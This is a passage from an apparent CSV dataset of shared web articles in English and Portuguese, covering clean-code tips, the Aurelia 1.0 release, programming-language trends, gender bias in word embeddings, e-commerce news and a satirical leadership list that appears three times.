nativa da linguagem/browser, e API proprietária. Dá uma olhada: Ficou mais confortável né? Seu cérebro praticamente se deu ao único trabalho de compreender o código. Não precisou traduzir de um idioma para outro. Mas isso é também uma faca de dois gumes. Conhecer a língua inglesa é extremamente importante no mundo da programação, pois muitas documentações e materiais estão nesse idioma. Logo, nomear coisas em português te tira a oportunidade de praticar o idioma, pelo menos na forma escrita. Vale á pena bater um papo com a sua equipe á respeito disso. Adote uma convenção A adoção de uma convenção facilita muito na padronização de estilo de escrita e organização de código. É uma ótima opção iniciar com alguma existente: Bônus: Variáveis e funções não utilizadas Variáveis e funções não utilizadas são um belo exemplo de sujeira. Alguma vez você já deu manutenção em algum código, cujo algum tempo foi investido para compreender o que foi escrito, pra no final das contas perceber que o código estava morto, sem utilização? Chato, né? Pra se livrar dessa sujeira é bem simples: ninguém está usando? Apague! Essa regra também vale para código comentado. Reinvenção da roda Esse erro é geralmente cometido por novos e antigos juniores (entendo como antigo júnior aquele profissional que programa há muitos anos, mas nunca se interessou em aprofundar em uma linguagem). O fato de não conhecer muito bem a API da linguagem, pode te levar á reinventar á roda. Um exemplo disso é quando precisamos fazer um filtro em um array. Quem não está familiarizado, irá primeiramente fazer o bom e velho for , possivelmente desconhecendo outras opções como Array.filter e Array.map . Funções Pequenas Funções devem ser claras, objetivas e pequenas. Respeite a regra da responsabilidade única: sua função deve fazer somente uma coisa, e deve fazê-la muito bem. Dá uma olhada no exemplo abaixo: Pelo nome da função ficou claro o objetivo dela. Mas analisando vemos a implementação de duas coisas: validação e persistência dos dados. Poderíamos dividir as responsabilidades da seguinte forma: Manter suas funções enxutas te auxilia á praticar o reuso do código. Esse é um assunto que pode ser extenso. Uma discussão bem bacana rolou no StackOverflow. Dá uma olhada aqui . Comentários Já ouvi dizer que código semântico dispensa comentários. Concordo parcialmente com isso. Acredito que é válido usar comentários nas seguintes situações: Utilização muito pouco comum de uma parte da API pode ajudar a galera mais nova Nem sempre conseguimos deixar nosso código semântico, a ponto dele contar o que está acontecendo Existem poucos momentos em que devemos fazer uso de uma má prática. E é bom deixar documentado o motivo antes que alguém refatore e quebre alguma funcionalidade Sua aplicação expõe uma API pública. Sugiro o uso do JSDocs para manter um padrão. Agora /* código comentado */ é algo deve ter pouquíssima tolerância. Indentação Esse é conhecido como problema de perfumaria . Saca só: Lindo né? Que tal dar mais espaço pra essa bagunça? E agora? Ficou mais fácil de ler? Enfiar todo o código em uma pequena lata de sardinha pode dificultar um pouco a sua compreensão, por mais que o seu editor de texto ou IDE tenha um highlight com alto contraste. Uma ferramenta bacana pra te ajudar á manter esse padrão é o JSCS . Gosto de usar o preset jQuery dessa ferramenta, pois o código fica com mais espaçamento, deixando o mais confortável para ler. Vale lembrar que... Muitas dicas dadas aqui retirei do livro Clean Code, e outras aprendi com o passar do tempo em experiência com diversos projetos. O seu comentário com um ponto de vista diferente pode me ajudar á aprender mais sobre o assunto. Espero ter ajudado. =) Publicado no dia",pt
1469713752,CONTENT SHARED,1181735998104559604,4227773676394505435,8503476610518963753,,,,HTML,http://blog.durandal.io/2016/07/27/aurelia-1-0-is-here/,Aurelia 1.0 is Here!!!,"It's been an amazing journey to get here and it couldn't have happened without the feedback of thousands of community members, the contributions from hundreds of developers and the guidance of our core team. It's a special day in the history of our project. Today I'm proud to announce the official Aurelia 1.0 Release! Some Basic Stats A lot of work has gone into Aurelia 1.0. Here are a few fun facts: 21 Team Members Almost 500,000 views/mo on our sites and blogs Over 240,000 views of our videos Closed 3,270+ Issues Merged 1,730+ Pull Requests Delivered 1,410+ Releases 3,790+ People Chatting on Gitter Almost 9,000 GitHub Stars Wow! Thanks again to everyone who made this release possible! How to Get Aurelia Now that Aurelia is available, you're going to want to know how to get it. We've made it available through a variety of outlets. Aurelia CLI - You can run npm install -g aurelia-cli to get our new CLI tool. Then just run au new and the CLI will setup your project and you'll have an app, ready for deploy, within a few minutes. You can read more about it in the new CLI documentation . Webpack - Lots of work has recently gone into supporting Webpack. As a result, we have two Webpack skeletons, one for Babel and one for TypeScript. You can simply download one of those and follow the instructions in its readme to get going or read about it in our new Webpack documentation ; JSPM - All libraries are configured to work with JSPM. We've got four skeletons available for you that have both Babel and TypeScript setups ready to go for vanilla web projects as well as ASP.NET Core. You can read about those here . NPM - If you have NPM 3.x installed, you can use NPM for front-end development. All Aurelia libraries are available on NPM so you can get started by simply running npm install aurelia-bootstrapper . GitHub & Bower - All libraries are available as GitHub releases and are registered with Bower. You can simply run bower install aurelia-boostrapper to get setup. Script Tags and CDNs - We've got a new build of Aurelia we've put together for this release. It's a build that's designed to let you include the core as a single script tag include. We've created a new basic aurelia project setup that uses this. You can read about that in our new Quick Start guide . Over the coming weeks, we'll work towards getting our script tag builds up on a CDN. What's included in the 1.0 release? The 1.0 release includes the following Aurelia libraries and plugins: animator-css animator-velocity binding boostrapper bootstrapper-webpack dependency-injection event-aggregator fetch-client framework history history-browser html-import-template-loader http-client loader loader-default loader-webpack logging logging-console metadata i18n pal pal-browser path polyfills route-recognizer router task-queue templating templating-binding templating-resources templating-router webpack-plugin The following libraries are in Beta: dialog testing ui-virtualization The following libraries are in Alpha: cli pal-nodejs pal-worker validatejs validation web-components We've also got a major update to the docs as part of this release. The docs now support mobile devices and include a ton of new content. The content includes a massive section on data-binding, more information on templating, new details on router configuration, a new quick start, a new tutorial and much more. What's next? You don't think we're stopping here do you? Of course not! We've got lots of things that we're working on. Here are a few: CLI - The CLI is off to a great start, but there's much more we can do with it, including Webpack integration, Electron and Cordova support and many more features. Look for continual improvements in this area. Hot Module Loading - The dev experience with our CLI, Webpack and Skeletons is pretty solid, but it can be even better. We're working on technology that will enable hot HTML/JS/CSS update on live apps across our CLI and Webpack tooling options. Validation - We've got an alpha of the new validation API today. We're planning to invest a lot of work into filling this out by handling a number of additional use cases over the coming months. Server-Side Rendering - We've already got a start on running Aurelia on the server (and in a worker). We're working towards server-render for SEO next and after that, pick-up-and-continue on the client. In addition to the items listed above, we'll be continuing work on Aurelia itself. This includes fixes to bugs as well as adding new features. We're working to build a stable application platform, so you can expect us to grow Aurelia in a way that is semantically compatible with the 1.0 version for quite some time. If we need to make a breaking change, Aurelia is modular enough to make that easier on us and on you. Any changes of that nature will be announced well in advance and will always be designated by a major version change in the associated library. Any removal of features will be proceeded by a deprecation period. We're invested and we know you are invested, so we're making strong efforts to maintain stability and predictability for the platform. Aurelia Virtual Training Is Now Available! As of today, we're launching official Aurelia Virtual Training. We've split the training into three segments so you can purchase and attend whichever segments you feel are most helpful for you. Each segment is split into two, four-hour sessions, making available a total of 24 hours of training if you go all out. You can read all the details on the training event site as well as purchase tickets. Conclusion Aurelia 1.0 is finally here!!! This is a special day for us and we're glad to share it with such a great community. We look forward to seeing all the amazing things you create.",en
1469714751,CONTENT SHARED,-3780822597455574960,3609194402293569455,-3607853734254017965,,,,HTML,http://spectrum.ieee.org/computing/software/top-programming-languages-trends-the-rise-of-big-data,Top Programming Languages Trends: The Rise of Big Data,"Illustration: Grzegorz Knec/Alamy Now that IEEE Spectrum is into the third year of annually ranking languages , we can start looking at some trends over time. What languages are ascendant? Which are losing traction? And which of the data sources that we use to create our rankings are contributing the most to these shifts? In this article I'm going to focus on so-called big-data languages, such as Julia , Python , R , and Scala . Most of these are purpose-built for handling large amounts of numeric data, with stables of packages that can be tapped for quick big-data analytic prototyping. These languages are increasingly important, as they facilitate the mining of the huge data sets that are now routinely collected across practically all sectors of government, science, and commerce. The biggest mover in this category was Go , an open source language created by Google to help solve the company's issues with scaling systems and concurrent programming back in 2007. In the default Spectrum ranking , it's moved up 10 positions since 2014 to settle into 10th place this year. Other big-data languages that saw moves since 2014 in the Spectrum ranking were R and Scala, with R ascending 4 spots and Scala moving up 2 (although down from 2015, when it was up 4 places from its 2014 position). Julia was added to the list of languages we track in 2015, and in the past year it's moved from rank 40 to 33, still a marginal player but clearly possessing some momentum in its growth. The chief reason for Go's quick rise in our ranking is the large increase in related activity on the GitHub source code archive. Since 2014, the total number of repositories on GitHub that list Go as the primary language went up by a factor of more than four. If we look at just active GitHub repositories, then there are almost five times as many. There's also a fair bit more chatter about the language on Reddit , with our data showing a threefold increase in the number of posts on that site mentioning the language. Explore the Interactive Rankings Another language that has continued to move up the rankings since 2014 is R, now in fifth place. R has been lifted in our rankings by racking up more questions on Stack Overflow -about 46 percent more since 2014. But even more important to R's rise is that it is increasingly mentioned in scholarly research papers. The Spectrum default ranking is heavily weighted toward data from IEEE Xplore , which indexes millions of scholarly articles, standards, and books in the IEEE database. In our 2015 ranking there were a mere 39 papers talking about the language, whereas this year we logged 244 papers. Contrary to the substantial gains in the rankings seen by open source languages such as Go, Julia, R, and Scala, proprietary data-analysis languages such as Matlab and SAS have seen a drop-off: Matlab fell four places in the rankings since 2014 and SAS has fallen seven. However, it's important to note that both of those languages are still growing; it's just that they're not growing as fast as some of the languages that are displacing them. When we weight the rankings toward jobs, we continue to see heavily used languages like Java and Python dominate. But recruiters are much more interested in R and Scala in 2016 then they were in 2014. When we collected data in 2014, there were only 136 jobs listed for Scala on CareerBuilder and Dice. But by 2016 there was more than a fourfold increase, to 631 jobs. This growth invites the question whether R can ever unseat Python or Java as the top languages for big data. But while R has seen huge gains over the last few years, Python and Java really are 800-pound gorillas. For instance, we found roughly 15 times as many job listings for pythonistas as for R developers. And while we measured about 63,000 new GitHub repositories in the last year for R, there were close to 458,000 for Python. Although R may be great for visualization and exploratory analysis and is clearly popular with academics writing research papers, Python has significant advantages for users in production environments: It's more easily integrated into production data pipelines, and as a general purpose language it simply has a broader array of uses. These data illustrate that despite the desire of some coders to evaluate languages on purely internal merits-the elegance of their syntax, or the degree and nature of the abstractions used-a big driver for a language's popularity will always be the domains that it targets, either by design or through the availability of supporting libraries.",en
1469716233,CONTENT SHARED,-986027724303592548,-5527145562136413747,6496989572155983473,,,,HTML,https://www.technologyreview.com/s/602025/how-vector-space-mathematics-reveals-the-hidden-sexism-in-language/,Neural networks are inadvertently learning our language's hidden gender biases,"Back in 2013, a handful of researchers at Google set loose a neural network on a corpus of three million words taken from Google News texts. The neural net's goal was to look for patterns in the way words appear next to each other. What it found was complex but the Google team discovered it could represent these patterns using vectors in a vector space with some 300 dimensions. It turned out that words with similar meanings occupied similar parts of this vector space. And the relationships between words could be captured by simple vector algebra. For example, ""man is to king as woman is to queen"" or, using the common notation, ""man : king :: woman : queen."" Other relationships quickly emerged too such as ""sister : woman :: brother : man,"" and so on. These relationships are known as word embeddings. This data set is called Word2vec and is hugely powerful. Numerous researchers have begun to use it to better understand everything from machine translation to intelligent Web searching. But today Tolga Bolukbasi at Boston University and a few pals from Microsoft Research say there is a problem with this database: it is blatantly sexist. And they offer plenty of evidence to back up the claim. This comes from querying the vector space to find word embeddings. For example, it is possible to pose the question: ""Paris : France :: Tokyo : x"" and it will give you the answer x = Japan. But ask the database ""father : doctor :: mother : x"" and it will say x = nurse. And the query ""man : computer programmer :: woman : x"" gives x = homemaker. In other words, the word embeddings can be dreadfully sexist. This happens because any bias in the articles that make up the Word2vec corpus is inevitably captured in the geometry of the vector space. Bolukbasi and co despair at this. ""One might have hoped that the Google News embedding would exhibit little gender bias because many of its authors are professional journalists,"" they say. So what to do? The Boston team has a solution. Since a vector space is a mathematical object, it can be manipulated with standard mathematical tools. The solution is obvious. Sexism can be thought of as a kind of warping of this vector space. Indeed, the gender bias itself is a property that the team can search for in the vector space. So fixing it is just a question of applying the opposite warp in a way that preserves the overall structure of the space. That's the theory. In practice, the tricky part is measuring the nature of this warping. The team does this by searching the vector space for word pairs that produce a similar vector to ""she: he."" This reveals a huge list of gender analogies. For example, she;he::midwife:doctor; sewing:carpentry; registered_nurse:physician; whore:coward; hairdresser:barber; nude:shirtless; boobs:ass; giggling:grinning; nanny:chauffeur, and so on. The question they want to answer is whether these analogies are appropriate or inappropriate. So they use Amazon's Mechanical Turk to ask. They showed each analogy to 10 turkers and asked them whether the analogy was biased or not. They consider the analogy biased if more than half of the turkers thought it was biased. The results make for interesting reading. This method clearly reveals a gender bias in pairings such as midwife:doctor; sewing:carpentry, and registered_nurse:physician, but that there is little bias in pairings such as feminine:manly; convent:monastery; handbag:briefcase, and so on. Having compiled a comprehensive list of gender biased pairs, the team used this data to work out how it is reflected in the shape of the vector space and how the space can be transformed to remove this warping. They call this process ""hard be-biasing."" Finally, they use the transformed vector space to produce a new list of gender analogies and then ask turkers to rate them again. This produces pairings such as: she:he::hen:cock; maid:housekeeper; gals:dudes; daughter:son, and so on. This process, they say, dramatically reduces the bias that Turkers report. ""Through empirical evaluations, we show that our hard-debiasing algorithm significantly reduces both direct and indirect gender bias while preserving the utility of the embedding,"" say Bolukbasi and co. The end result is a vector space in which the gender bias is significantly reduced. That has important applications. Any bias contained in word embeddings like those from Word2vec is automatically passed on in any application that exploits it. One example is the work using embeddings to improve Web search results. If the phrase ""computer programmer"" is more closely associated with men than women, then a search for the term ""computer programmer CVs"" might rank men more highly than women. ""Word embeddings not only reflect stereotypes but can also amplify them,"" say Bolukbasi and co. Clearly, language is filled with many examples of gender bias that are hard to justify. An interesting question is the extent to which this kind of vector space mathematics should be used to correct it. ""One perspective on bias in word embeddings is that it merely reflects bias in society, and therefore one should attempt to debias society rather than word embeddings,"" say Bolukbasi and co. ""However, by reducing the bias in today's computer systems (or at least not amplifying the bias), which is increasingly reliant on word embeddings, in a small way debiased word embeddings can hopefully contribute to reducing gender bias in society."" That seems a worthy goal. As the Boston team concludes: ""At the very least, machine learning should not be used to inadvertently amplify these biases."" Ref: arxiv.org/abs/1607.06520 : Man Is to Computer Programmer as Woman is to Homemaker? Debiasing Word Embeddings.",en
1469717048,CONTENT SHARED,7217636150008996485,-1352064057049251194,-4017675737232996601,,,,HTML,http://www.mandae.com.br/blog/logistica-reversa-no-ecommerce/,Pesquisa aponta que logística reversa influencia na preferência do consumidor,"Você sabia que pelo menos 30% de todos os produtos comprados online são devolvidos? 92% dos consumidores entrevistados pela Invesp disseram que não vão desistir de comprar da loja responsável se o processo de devolução do produto for simples e 79% quer que esse processo não custe nada. Confira o infográfico das estatísticas de taxas de devolução e conheça os principais pontos de análise na hora de estruturar a logística reversa no e-commerce. Principais razões para o arrependimento de compra Cerca de 49% dos varejistas oferecem logística reversa atualmente, ao mesmo tempo que 67% dos compradores pesquisam sobre o processo de devolução antes de fazer uma compra. 62% dos compradores são mais propensos a fazer compras online se eles puderem devolver um item para a loja. Considerando que 58% querem uma política de troca livre de complicações, 47% querem uma etiqueta para devolução. Além disso, 27% dos consumidores gastariam mais em produtos se for oferecido o transporte de logística reversa , em comparação com 10% que vai efetuar a compra independente disso. Logística reversa no e-commerce A logística reversa é um procedimento para facilitar a devolução de produtos do e-commerce. É uma medida que a empresa deve tomar para que o cliente não fique insatisfeito, mesmo diante de algum problema apresentado no recebimento. O consumidor possui seus direitos quando efetua uma compra pela internet, por isso, no comércio varejista a imagem da empresa pode ser afetada caso esses direitos não sejam respeitados. Até mesmo a forma como a marca lida com as reclamações dos clientes dita o tom da satisfação com o serviço prestado. É nesse momento que a logística reversa será imprescindível. O Código de Defesa do Consumidor diz que o cliente pode se arrepender da compra e solicitar a devolução da mercadoria dentro de um prazo de 7 dias que começa a ser contado a partir do recebimento do produto (incluindo fins de semana e feriados). Em caso de devolução sem haver a troca do produto, a devolução do dinheiro deve ser feita de forma imediata. O ideal é que a devolução não seja necessária e que a compra seja satisfatória, mas, quando imprevistos acontecerem, a logística reversa de troca ou devolução precisa ser bem definida. Para evitar a necessidade de devoluções, listamos alguns tópicos a serem levados em conta: Apresente as características do produto Para que não haja ""surpresas"" na hora que o cliente receber o produto, o ideal é apresentar no site o máximo de detalhes possíveis sobre cada item, como cor, tamanho, funcionalidade, entre outras especificidades que sejam importantes para o conhecimento do consumidor. Sem se esquecer, claro, de criar um ótimo portal de dúvidas e um excelente atendimento ao cliente. As fotos divulgadas em sua loja virtual devem mostrar os produtos de diversos ângulos. Essa prática pode diminuir a taxa de compradores descontentes, gerando menos devoluções e publicidade negativa sobre a sua marca. Tenha uma política de troca descomplicada A empresa deve deixar claro para os clientes quais são os procedimentos para troca e devolução. Isso faz com que o consumidor não seja pego de surpresa, caso precise desses serviços. A loja virtual deve apresentar uma seção específica para informações sobre o processo de troca, deixando claro quais são os prazos e as condições para a devolução. Cumprir as regras estabelecidas é fundamental para que o negócio mantenha a credibilidade. É importante a simplificação do procedimento para não frustrar seu cliente. Então, procure facilitar. Efetue um planejamento eficaz Trocas e devoluções costumam ser os principais motivos de reclamação. Por isso, investir na logística reversa torna-se um diferencial competitivo para a empresa. Além disso, os custos com esse tipo de serviço devem ser levados em consideração na hora de fazer o planejamento financeiro, uma vez que a empresa é responsável por pagar o valor do frete de volta. Existem várias estratégias para diminuir o custo e trabalho dessa operação de devolução, como decidir a forma de coleta do produto. Tipos de coleta para logística reversa no e-commerce Coleta no local: é o tipo de coleta mais comum, mas pode gerar mais custos. Consiste em gerar uma ordem de coleta no sistema (para isso, você deve ter acesso a algum sistema) e o agente coletor vai ao endereço do cliente até encontrá-lo para coletar o produto. Coleta no local com hora marcada: a diferença desse para o anterior é que aqui o cliente pode marcar um horário para atender o agente coletor. Pontos de entrega: esse tipo de coleta é muito interessante para a empresa, mas nem tanto para o cliente que, se quiser fazer devolução, deve levar o produto comprado até um posto onde será atendido e o processo será feito. Para facilitar o processo ao cliente, seria preciso existir vários postos de atendimento, isso vai depender da transportadora que você designar para a logística reversa. Logística reversa simultânea: no caso de uma devolução para troca de produtos, você pode aplicar essa modalidade. Assim, a retirada do produto indesejado (com defeito ou com problema de cor, por exemplo) é feita no ato da entrega do novo. A Mandaê oferece a solução logística ideal para a sua empresa por meio do serviço de coleta, empacotamento e envio de objetos, sem a necessidade de sair do escritório para postar. As embalagens e o empacotamento são gratuitos, você só paga o valor da postagem e uma taxa única de R$ 5,00 a cada coleta efetuada, independente da quantidade de produtos a serem enviados. Conheça essa solução inovadora ! Também é interessante para você: + O que fazer para aumentar as vendas: distribua donuts e café + Saiba tudo sobre logística + Como avaliar o desempenho logístico",pt
1469718877,CONTENT SHARED,7251252752220327534,-1032019229384696495,3028199142413699225,,,,HTML,http://thecooperreview.com/non-threatening-leadership-strategies-for-women/,9 Non-Threatening Leadership Strategies for Women,"In this fast-paced business world, female leaders need to make sure they're not perceived as pushy, aggressive or competent. One way to do that is to alter your leadership style to account for the (sometimes) fragile male ego. Should men accept powerful women and not feel threatened by them? Yes. Is that asking too much? IS IT? Sorry I didn't mean to get aggressive there. Anyhoo, here are 9 non-threatening leadership strategies for women. #1 When setting a deadline, ask your coworker what he thinks of doing something, instead of just asking him to get it done. This makes him feel less like you're telling them what to do and more like you care about his opinions. #2 When sharing your ideas, overconfidence is a killer. You don't want your male coworkers to think you're getting all uppity. Instead, downplay your ideas as just ""thinking out loud,"" ""throwing something out there,"" or sharing something ""dumb,"" ""random,"" or ""crazy."" #3 Pepper your emails with exclamation marks and emojis so you don't come across as too clear or direct. Your lack of efficient communication will make you seem more approachable. #4 If a male coworker steals your idea in a meeting, thank him for it. Give him kudos for how he explained your idea so clearly. And let's face it, no one might've ever heard it if he hadn't repeated it. #5 When you hear a sexist comment, the awkward laugh is key. Practice your awkward laugh at home, with your friends and family, and in the mirror. Make sure you sound truly delighted even as your soul is dying inside. #6 Men love explaining things. But when he's explaining something and you already know that, it might be tempting to say ""I already know that."" Instead, have him explain it to you over and over again. It will make him feel useful and will give you some time to think about out how to avoid him in the future. #7 Pointing out a mistake is always risky so it's important to always apologize for noticing the mistake and then make sure that no one thinks you're too sure about it. People will appreciate your ""hey what do I know?!"" sensibilities. #8 When collaborating with a man, type using only one finger. Skill and speed are very off-putting. #9 When all else fails, wear a mustache so everyone sees you as more man-like. This will cancel out any need to change your leadership style. In fact, you may even get a quick promotion!",en
1469718901,CONTENT REMOVED,7251252752220327534,-1032019229384696495,3028199142413699225,,,,HTML,http://thecooperreview.com/non-threatening-leadership-strategies-for-women/,9 Non-Threatening Leadership Strategies for Women,"In this fast-paced business world, female leaders need to make sure they're not perceived as pushy, aggressive or competent. One way to do that is to alter your leadership style to account for the (sometimes) fragile male ego. Should men accept powerful women and not feel threatened by them? Yes. Is that asking too much? IS IT? Sorry I didn't mean to get aggressive there. Anyhoo, here are 9 non-threatening leadership strategies for women. #1 When setting a deadline, ask your coworker what he thinks of doing something, instead of just asking him to get it done. This makes him feel less like you're telling them what to do and more like you care about his opinions. #2 When sharing your ideas, overconfidence is a killer. You don't want your male coworkers to think you're getting all uppity. Instead, downplay your ideas as just ""thinking out loud,"" ""throwing something out there,"" or sharing something ""dumb,"" ""random,"" or ""crazy."" #3 Pepper your emails with exclamation marks and emojis so you don't come across as too clear or direct. Your lack of efficient communication will make you seem more approachable. #4 If a male coworker steals your idea in a meeting, thank him for it. Give him kudos for how he explained your idea so clearly. And let's face it, no one might've ever heard it if he hadn't repeated it. #5 When you hear a sexist comment, the awkward laugh is key. Practice your awkward laugh at home, with your friends and family, and in the mirror. Make sure you sound truly delighted even as your soul is dying inside. #6 Men love explaining things. But when he's explaining something and you already know that, it might be tempting to say ""I already know that."" Instead, have him explain it to you over and over again. It will make him feel useful and will give you some time to think about out how to avoid him in the future. #7 Pointing out a mistake is always risky so it's important to always apologize for noticing the mistake and then make sure that no one thinks you're too sure about it. People will appreciate your ""hey what do I know?!"" sensibilities. #8 When collaborating with a man, type using only one finger. Skill and speed are very off-putting. #9 When all else fails, wear a mustache so everyone sees you as more man-like. This will cancel out any need to change your leadership style. In fact, you may even get a quick promotion!",en
1469719009,CONTENT SHARED,1881534532776527237,-1032019229384696495,3028199142413699225,,,,HTML,http://thecooperreview.com/non-threatening-leadership-strategies-for-women/,9 Non-Threatening Leadership Strategies for Women,"In this fast-paced business world, female leaders need to make sure they're not perceived as pushy, aggressive or competent. One way to do that is to alter your leadership style to account for the (sometimes) fragile male ego. Should men accept powerful women and not feel threatened by them? Yes. Is that asking too much? IS IT? Sorry I didn't mean to get aggressive there. Anyhoo, here are 9 non-threatening leadership strategies for women. #1 When setting a deadline, ask your coworker what he thinks of doing something, instead of just asking him to get it done. This makes him feel less like you're telling them what to do and more like you care about his opinions. #2 When sharing your ideas, overconfidence is a killer. You don't want your male coworkers to think you're getting all uppity. Instead, downplay your ideas as just ""thinking out loud,"" ""throwing something out there,"" or sharing something ""dumb,"" ""random,"" or ""crazy."" #3 Pepper your emails with exclamation marks and emojis so you don't come across as too clear or direct. Your lack of efficient communication will make you seem more approachable. #4 If a male coworker steals your idea in a meeting, thank him for it. Give him kudos for how he explained your idea so clearly. And let's face it, no one might've ever heard it if he hadn't repeated it. #5 When you hear a sexist comment, the awkward laugh is key. Practice your awkward laugh at home, with your friends and family, and in the mirror. Make sure you sound truly delighted even as your soul is dying inside. #6 Men love explaining things. But when he's explaining something and you already know that, it might be tempting to say ""I already know that."" Instead, have him explain it to you over and over again. It will make him feel useful and will give you some time to think about out how to avoid him in the future. #7 Pointing out a mistake is always risky so it's important to always apologize for noticing the mistake and then make sure that no one thinks you're too sure about it. People will appreciate your ""hey what do I know?!"" sensibilities. #8 When collaborating with a man, type using only one finger. Skill and speed are very off-putting. #9 When all else fails, wear a mustache so everyone sees you as more man-like. This will cancel out any need to change your leadership style. In fact, you may even get a quick promotion!",en
1469726068,CONTENT SHARED,8119274153437896343,-1352064057049251194,-4017675737232996601,,,,HTML,http://www.segs.com.br/info-ti/26767-trustedcompany-anuncia-novo-produto-no-forum-e-commerce-brasil-2016.html,TrustedCompany anuncia novo produto no Fórum E-commerce Brasil 2016,"A TrustedCompany, plataforma de avaliações, participa do Fórum E-commerce Brasil 2016, nos dias 26 e 27 de Julho, e lança novo recurso de coleta de avaliações, otimizando o tempo de avaliação para o consumidor e garantindo mais avaliações para a loja virtual. Para trazer mais facilidade ao consumidor ao avaliar sua experiência de compra na própria plataforma da TrustedCompany, um novo layout está sendo testado para a coleta de avaliações. ""Todo o processo de escrever uma avaliação se resume a três passos. O novo layout apresenta cada passo conforme o consumidor finaliza a etapa anterior, tornando o processo mais interativo e claro para o usuário."", comenta Rafael Stangorlini, gerente de integração da empresa. Novo layout para a coleta de avaliações Avaliar direto do e-mail O novo produto, que está sendo lançado no evento, é a possibilidade de escrever a avaliação sem sair do e-mail. Ou seja, o sistema inline permite ao cliente da loja virtual a adicionar seu comentário sem que nenhuma nova aba ou janela do navegador seja aberta. ""Em nossos testes já identificamos um aumento da taxa de resposta, comprovando a efetividade deste novo recurso de coleta oferecida pela TrustedCompany."", afirma Rafael. Durante o evento, os visitantes poderão, além de conhecer todos os produtos e serviços oferecidos pela start-up, testar o novo layout de coleta de avaliações. ""Para nós, poder lançar esta nova funcionalidade em um evento de grande expressividade como o Fórum E-commerce Brasil é um grande privilégio, pois assim como a organização, buscamos a excelência do mercado de e-commerce."", comenta a gerente de Marketing, Barbara Bayer. ""Nosso objetivo é levar mais transparência e confiança para o mercado online, e assim, oferecemos soluções que contribuem para o desenvolvimento das lojas virtuais e que ajudam os consumidores a tomar decisões de compras mais inteligente, comprando de empresas confiáveis."", finaliza Barbara. Sobre a TrustedCompany: TrustedCompany é uma plataforma de avaliações que objetiva mudar o ecossistema de e-commerce nos países em desenvolvimento. Desde 2013, TrustedCompany tem ajudado os compradores online a tomar decisões melhores ao comprar na internet, assim como oferecendo às lojas virtuais ferramentas que aumentam suas vendas através de avaliações dos clientes - uma situação vantajosa para ambas as partes. Atualmente, a TrustedCompany atende os países do sudeste da Ásia, Brasil e Índia, com escritórios em Kuala Lumpur (HQ) e São Paulo. Alguns clientes no Brasil são Vaio, Elo7, Oppa, Le Postiche, Sepha, E-lens, Meu Amigo Pet, Quantum, Bebê Boutique, Louie, Madeira Madeira.",pt
1469726407,CONTENT SHARED,-8018192200278263695,-1352064057049251194,-4017675737232996601,,,,HTML,http://oglobo.globo.com/economia/negocios/pao-de-acucar-tem-rombo-de-512-milhoes-com-fraude-em-commerce-19796059,Pão de Açúcar tem rombo de R$ 512 milhões com fraude em e-commerce,"Extra: supermercado faz parte do Grupo Pão de Açúcar, controlado pelo francês Casino - Divulgação SÃO PAULO - O Grupo Pão de Açúcar (GPA) anunciou que terá que fazer um ajuste de R$ 512 milhões em seu resultado líquido do ano passado para se adequar às fraudes encontradas na Cnova Brasil, empresa controlada pelo grupo e que é responsável pelos negócios de comércio eletrônico. Além do rombo no lucro líquido, também será feita uma redução de R$ 304 milhões no patrimônio da companhia varejista, que divulga nesta quarta-feira o balanço do segundo trimestre. Em 2015, a companhia registrou um lucro líquido de R$ 251 milhões. O lucro só foi possível devido ao desempenho do segmento de alimentos (bandeiras Extra, Pão de Açúcar, Assaí), uma vez que a Via Varejo (Ponto Frio, Casas Bahia) registrou prejuízo. A Cnova Brasil opera o comércio eletrônico de todas essas bandeiras. Tanto o GPA como a Cnova NV (com sede em Amsterdã) são controladas pelo grupo francês Casino. Segundo fato relevante enviado à Comissão de Valores Mobiliários (CVM) ontem à noite, essa proposta de ajuste precisa contar com a aprovação do Conselho de Administração e irá afetar também as comparações com os anos de 2013 e 2014 e o primeiro trimestre de 2016. A data da reunião do conselho não foi informada. Esse ajuste milionário decorre, principalmente, de uma auditoria realizada na Cnova que identificou uma série de compras na área de vendas, como receitas maiores do que as realizadas de fato, lançamentos contábeis inadequados e perdas com fretes. ""Durante a revisão interna, a Cnova determinou que suas demonstrações financeiras consolidadas anteriormente publicadas referentes aos exercícios encerrados em 31 de dezembro de 2013 e 2014 continham certos erros e, portanto, não deveriam mais ser considerados fiáveis"", disse a Cnova, ao justificar a necessidade de ajuste que irá impactar o balanço do Grupo Pão de Açúcar. Newsletter As principais notícias do dia no seu e-mail. TROCAR IMAGEM Quase pronto... Ocorreu um erro. Tente novamente mais tarde. Email inválido. {{mensagemErro}}",pt
1469726431,CONTENT SHARED,-3324787160651928845,-1352064057049251194,-4017675737232996601,,,,HTML,http://corporate.canaltech.com.br/noticia/empresas-tech/biggy-quer-melhorar-recomendacao-de-produtos-no-e-commerce-nacional-com-big-data-74939/,Biggy quer melhorar recomendação de produtos no e-commerce nacional com big data - Empresas Tech,"Focada no fornecimento de soluções de recomendações de produtos customizadas para clientes de e-commerce, a Biggy chega oficialmente ao mercado brasileiro nesta semana após um período longo de gestação dentro de sua ""empresa-mãe"", a fornecedora de soluções de e-commerce Atma IT Solutions. Através de ferramentas de big data e analytics, a plataforma da companhia utilizará uma combinação de histórico de navegação em sites, dados comportamentais captados em redes sociais e até informações coletadas em lojas físicas para criar perfis de clientes, a fim de entregar sugestões customizadas de produtos e serviços para cada usuário. A empresa estima que as capacidades de big data da plataforma têm potencial de aumentar em até 40% as conversões de clientes nos usuários recorrentes. ""Hoje existem produtos que são mais indicações do que recomendações. No nosso caso, as recomendações são direcionadas, nós acompanhamos o comportamento do cliente dentro do ambiente de comércio eletrônico para gerar um perfil e fazer um recomendação de aquisição"", explicou o co-fundador Fábio Gaia, que falou ao Canaltech durante o Fórum E-commerce Brasil, na primeira aparição pública da nova empresa. Com o investimento da Biggy, Gaia retorna agora ao mercado de tecnologia do país após três anos de ""hiato"", desde que deixou a presidência da Officer Brasil - distribuidora que fundou na década de 80. Também completam o time da companhia os ex-Officer Fernando Barros e Gustavo Vedotti, além de Alan Prando, engenheiro de software responsável pela primeira formatação da plataforma da Biggy ainda durante seu mestrado, em 2013. Em um primeiro momento, a empresa desembarca no mercado com duas ofertas centrais, ambas para a entrega sugestões customizadas de produtos e serviços via e-mail para consumidores de seus clientes. Até outubro, a Biggy deverá lançar uma terceira solução, desenhada para criar vitrines de sugestões dentro dos próprios websites de clientes. De acordo com Gaia, a companhia deverá focar suas soluções ""na ponta do iceberg"" dos e-commerce brasileiros no início de suas operações, buscando clientes de grande escala, com iniciativas estabelecidas de big data. Nos próximos três 